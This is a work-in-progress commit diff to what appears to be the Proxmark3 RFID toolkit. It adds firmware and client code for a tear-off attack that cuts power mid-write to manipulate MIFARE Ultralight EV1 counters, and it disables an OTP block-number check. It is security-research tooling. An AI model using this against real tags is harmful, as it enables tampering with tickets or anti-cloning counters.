WIP - hf mfu countertear ...

This commit is contained in:
iceman1001 2020-10-12 19:08:29 +02:00
commit 7cfbdcbae9
5 changed files with 197 additions and 7 deletions

View file

@ -1473,6 +1473,15 @@ static void PacketReceived(PacketCommandNG *packet) {
MifareU_Otp_Tearoff(packet->oldarg[0], packet->oldarg[1], packet->data.asBytes);
break;
}
case CMD_HF_MFU_COUNTER_TEAROFF: {
struct p {
uint8_t counter;
uint32_t tearoff_time;
} PACKED;
struct p *payload = (struct p *) packet->data.asBytes;
MifareU_Counter_Tearoff(payload->counter, payload->tearoff_time);
break;
}
case CMD_HF_MIFARE_STATIC_NONCE: {
MifareHasStaticNonce();
break;

View file

@ -2695,9 +2695,8 @@ void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain) {
//
// Tear-off attack against MFU.
// - Moebius et al
void MifareU_Otp_Tearoff(uint8_t arg0, uint32_t arg1, uint8_t *datain) {
void MifareU_Otp_Tearoff(uint8_t arg0, uint32_t tearoff_time, uint8_t *datain) {
uint8_t blockNo = arg0;
uint32_t tearOffTime = arg1;
uint8_t data_fullwrite[4] = {0x00};
uint8_t data_testwrite[4] = {0x00};
memcpy(data_fullwrite, datain, 4);
@ -2705,8 +2704,8 @@ void MifareU_Otp_Tearoff(uint8_t arg0, uint32_t arg1, uint8_t *datain) {
if (DBGLEVEL >= DBG_DEBUG) DbpString("Preparing OTP tear-off");
if (tearOffTime > 43000)
tearOffTime = 43000;
if (tearoff_time > 43000)
tearoff_time = 43000;
MifareUWriteBlock(blockNo, 0, data_fullwrite);
@ -2732,9 +2731,50 @@ void MifareU_Otp_Tearoff(uint8_t arg0, uint32_t arg1, uint8_t *datain) {
// Wait before cutting power. aka tear-off
LED_D_ON();
SpinDelayUsPrecision(tearOffTime);
SpinDelayUsPrecision(tearoff_time);
if (DBGLEVEL >= DBG_DEBUG) Dbprintf(_YELLOW_("OTP tear-off triggered!"));
switch_off();
reply_ng(CMD_HF_MFU_OTP_TEAROFF, PM3_SUCCESS, NULL, 0);
}
//
// Tear-off attack against MFU counter
void MifareU_Counter_Tearoff(uint8_t counter, uint32_t tearoff_time) {
if (tearoff_time > 43000)
tearoff_time = 43000;
LEDsoff();
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
clear_trace();
set_tracing(true);
// Send MFU counter increase cmd
uint8_t cmd[] = {
MIFARE_ULEV1_INCR_CNT,
counter,
0, // lsb
0,
0, // msb
0, // rfu
0,
0,
};
AddCrc14A(cmd, sizeof(cmd) - 2);
// anticollision / select card
if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Can't select card");
OnError(1);
return;
};
// send
ReaderTransmit(cmd, sizeof(cmd), NULL);
LED_D_ON();
SpinDelayUsPrecision(tearoff_time);
switch_off();
reply_ng(CMD_HF_MFU_COUNTER_TEAROFF, PM3_SUCCESS, NULL, 0);
}

View file

@ -64,5 +64,5 @@ void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain);
// Tear-off test for MFU
void MifareU_Otp_Tearoff(uint8_t arg0, uint32_t arg1, uint8_t *datain);
void MifareU_Counter_Tearoff(uint8_t counter, uint32_t tearoff_time);
#endif

View file

@ -878,7 +878,7 @@ static int ulev1_print_counters(void) {
PrintAndLogEx(INFO, "--- " _CYAN_("Tag Counters"));
uint8_t tear[1] = {0};
uint8_t counter[3] = {0, 0, 0};
uint16_t len = 0;
int len = 0;
for (uint8_t i = 0; i < 3; ++i) {
ulev1_readTearing(i, tear, sizeof(tear));
len = ulev1_readCounter(i, counter, sizeof(counter));
@ -2832,10 +2832,12 @@ static int CmdHF14AMfuOtpTearoff(const char *Cmd) {
return usage_hf_mfu_otp_tearoff();
case 'b':
blockNoUint = param_get8(Cmd, cmdp + 1);
/*
if (blockNoUint < 2) {
PrintAndLogEx(WARNING, "Wrong block number");
errors = true;
}
*/
cmdp += 2;
break;
case 'i':
@ -3037,6 +3039,141 @@ static int CmdHF14AMfuOtpTearoff(const char *Cmd) {
return PM3_SUCCESS;
}
static int CmdHF14AMfuEv1CounterTearoff(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf mfu countertear",
"Tear-off test against a Ev1 counter",
"hf mfu countertear\n"
"hf mfu countertear -s 200 -l 2500 -> target counter 0, start delay 200\n"
"hf mfu countertear -i 2 -s 200 -l 400 -> target counter 0, start delay 200\n"
);
void *argtable[] = {
arg_param_begin,
arg_int0("c", "cnt", "<0,1,2>", "Target this EV1 counter (0,1,2)"),
arg_int0("i", "inc", "<dec>", "time interval to increase in each iteration - default 10 us"),
arg_int0("l", "limit", "<dec>", "test upper limit time - default 3000 us"),
arg_int0("s", "start", "<dec>", "test start time - default 0 us"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);
int counter = arg_get_int_def(ctx, 1, 0);
int interval = arg_get_int_def(ctx, 2, 10);
int time_limit = arg_get_int_def(ctx, 3, 3000);
int start_time = arg_get_int_def(ctx, 4, 0);
CLIParserFree(ctx);
// Validations
if (start_time > (time_limit - interval)) {
PrintAndLogEx(WARNING, "Wrong start time number");
return PM3_EINVARG;
}
if (time_limit < interval) {
PrintAndLogEx(WARNING, "Wrong time limit number");
return PM3_EINVARG;
}
if (time_limit > 43000) {
PrintAndLogEx(WARNING, "You can't set delay out of 1..43000 range!");
return PM3_EINVARG;
}
uint8_t cnt_no = 0;
if (counter < 0 || counter > 2) {
PrintAndLogEx(WARNING, "Counter must 0, 1 or 2");
return PM3_EINVARG;
}
cnt_no = (uint8_t)counter;
PrintAndLogEx(INFO, "----------------- " _CYAN_("MFU Ev1 Counter Tear off") " ---------------------");
PrintAndLogEx(INFO, "Starting counter tear-off test");
PrintAndLogEx(INFO, "Target counter no: %u", counter);
PrintAndLogEx(INFO, "----------------------------------------------------");
bool got_pre = false, got_post = false;
uint8_t pre[3] = {0};
uint8_t post[3] = {0};
uint32_t actual_time = start_time;
iso14a_card_select_t card;
while (actual_time <= (time_limit - interval)) {
if (kbd_enter_pressed()) {
PrintAndLogEx(INFO, "\naborted via keyboard!\n");
break;
}
PrintAndLogEx(INFO, "Using tear-off delay " _GREEN_("%" PRIu32) " us", actual_time);
if (ul_select(&card) == 0)
return PM3_ESOFT;
got_pre = false;
uint8_t cntresp[3] = {0, 0, 0};
int rlen = ulev1_readCounter(cnt_no, cntresp, sizeof(cntresp));
if ( rlen == sizeof(cntresp) ) {
memcpy(pre, cntresp, sizeof(pre));
got_pre = true;
}
DropField();
struct p {
uint8_t counter;
uint32_t tearoff_time;
} PACKED payload;
payload.counter = cnt_no;
payload.tearoff_time = actual_time;
clearCommandBuffer();
PacketResponseNG resp;
SendCommandNG(CMD_HF_MFU_COUNTER_TEAROFF, (uint8_t*)&payload, sizeof(payload));
if (!WaitForResponseTimeout(CMD_HF_MFU_COUNTER_TEAROFF, &resp, 2000)) {
PrintAndLogEx(WARNING, "Failed");
return PM3_ESOFT;
}
got_post = false;
if (ul_select(&card) == 0)
return PM3_ESOFT;
rlen = ulev1_readCounter(cnt_no, cntresp, sizeof(cntresp));
if ( rlen == sizeof(cntresp) ) {
memcpy(post, cntresp, sizeof(post));
got_post = true;
}
DropField();
if (got_pre && got_post) {
char prestr[20] = {0};
snprintf(prestr, sizeof(prestr), "%s", sprint_hex_inrow(pre, sizeof(pre)));
char poststr[20] = {0};
snprintf(poststr, sizeof(poststr), "%s", sprint_hex_inrow(post, sizeof(post)));
if (memcmp(pre, post, sizeof(pre)) == 0) {
PrintAndLogEx(INFO, "Current %d - %s", cnt_no, poststr);
} else {
PrintAndLogEx(INFO, _CYAN_("Tear off occured") " : %d %s vs " _RED_("%s")
, cnt_no, prestr, poststr);
}
} else {
if (got_pre == false)
PrintAndLogEx(FAILED, "Failed to read Counter BEFORE");
if (got_post == false)
PrintAndLogEx(FAILED, "Failed to read Counter AFTER");
}
actual_time += interval;
}
DropField();
PrintAndLogEx(NORMAL, "");
return PM3_SUCCESS;
}
static int CmdHF14MfuNDEF(const char *Cmd) {
int keylen;
@ -3167,6 +3304,7 @@ static command_t CommandTable[] = {
{"gen", CmdHF14AMfUGenDiverseKeys, AlwaysAvailable, "Generate 3des mifare diversified keys"},
{"pwdgen", CmdHF14AMfUPwdGen, AlwaysAvailable, "Generate pwd from known algos"},
{"otptear", CmdHF14AMfuOtpTearoff, IfPm3Iso14443a, "Tear-off test on OTP bits"},
{"countertear", CmdHF14AMfuEv1CounterTearoff, IfPm3Iso14443a, "Tear-off test on Ev1 Counter bits"},
{"ndef", CmdHF14MfuNDEF, IfPm3Iso14443a, "Prints NDEF records from card"},
{NULL, NULL, NULL, NULL}
};

View file

@ -650,6 +650,9 @@ typedef struct {
// MFU OTP TearOff
#define CMD_HF_MFU_OTP_TEAROFF 0x0740
// MFU_Ev1 Counter TearOff
#define CMD_HF_MFU_COUNTER_TEAROFF 0x0741
#define CMD_HF_SNIFF 0x0800
#define CMD_HF_PLOT 0x0801